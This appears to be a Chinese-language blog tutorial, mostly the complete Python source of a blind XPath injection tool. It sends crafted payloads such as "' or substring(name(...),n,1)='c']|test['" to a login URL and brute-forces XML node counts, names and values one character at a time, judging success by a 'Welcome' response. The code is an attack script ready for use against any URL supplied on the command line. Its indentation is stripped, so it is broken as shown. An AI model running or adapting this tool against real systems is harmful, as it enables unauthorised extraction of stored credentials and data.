0x00 前言
思路:
1、发送payload请求后,根据服务器返回结果判断是否成功
2、利用payload探测传入的路径下的节点数,有节点:循环枚举节点名,无节点:枚举节点值
0x01 代码步骤
1、猜解当前节点下的节点数量:
#payload:' or count(节点名*)=猜解的数量]|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
for num in range(1,99):
payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
payload = url + payload_count
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
return num
#没有枚举出节点数
num = 0
return num
2、按照字符串截取去猜解节点的名称:
#payload:' or substring(name(/节点名称*[position()=第n个节点]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
tmp_root = root
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
#枚举成功
tmp_root = tmp_root + chr(value)
num += 1
flag = 1
break
if flag == 0:
#枚举完成
tmp_root = str(tmp_root) + "/"
print(tmp_root)
break
3、猜解节点的值:
#payload:' or substring((节点名[节点数]),第n个字符,1) = '枚举的字符']|test['
url = "http://127.0.0.1/index.php?username=admin&password=admin"
for root_num in range(1,99):
if root[-1] == "/":
now_root = root[:-1]
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
#枚举成功,输出当前字符
print(chr(value) , end = '')
flag = 1
break
if flag == 0:
return 0
0x02 完整代码
import requests
from urllib.parse import quote
import sys
import getopt
opts,args = getopt.getopt(sys.argv[1:],"hu:p:")
url = ""
root = "/"
#获取节点数
def burst_count():
for num in range(1,99):
payload_count = ("' or count(%s*)=%d]|test['" % (root,num))
payload = url + payload_count
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
return num
#没有枚举出节点数
num = 0
return num
#枚举节点名
def burst_name(i):
tmp_root = root
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring(name(/%s*[position()=%d]),%d,1) = '%s']|test['" % (root,i,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
#枚举成功
tmp_root = tmp_root + chr(value)
num += 1
flag = 1
break
if flag == 0:
#枚举完成
tmp_root = str(tmp_root) + "/"
print(tmp_root)
break
#枚举节点值
def burst_value():
flag_root = root
for root_num in range(1,99):
if root[-1] == "/":
tmp_root = root
now_root = root[:-1]
for num in range(1,99):
flag = 0
for value in range(33,127):
payload_value = ("' or substring((%s[%d]),%d,1) = '%s']|test['" % (now_root,root_num,num,chr(value)))
payload_value = quote(payload_value)
payload = url + payload_value
req = requests.get(payload).text
if "<h1>Welcome</h1>" in req:
print(chr(value) , end = '')
#tmp_root = tmp_root + chr(value)
flag = 1
break
if flag == 0:
return 0
def help():
print("python xpathburst.py -u \"http://127.0.0.1/index.php?username=admin&password=admin\" -p \"/\"")
return 0
if __name__ == "__main__":
for key, value in opts:
if key == "-u":
url = value # "http://127.0.0.1/xpath/index.php?username=admin&password=a123"
elif key == "-p":
root = value # "/root/users/secret/"
else:
help()
exit(0)
# 初始化节点名称和节点数量
if root[-1] != "/":
root = root + "/"
count = 0
#获取根节点数
count = burst_count()
if count != 0:
print("%s路径有%d个节点" % (root, count))
for i in range(1, count + 1):
burst_name(i)
else:
#当前路径下无节点,尝试枚举值
print("当前路径下无节点,尝试枚举值")
print("%s:%s" % (root, root.split('/')[-1]) ,end = "")
burst_value()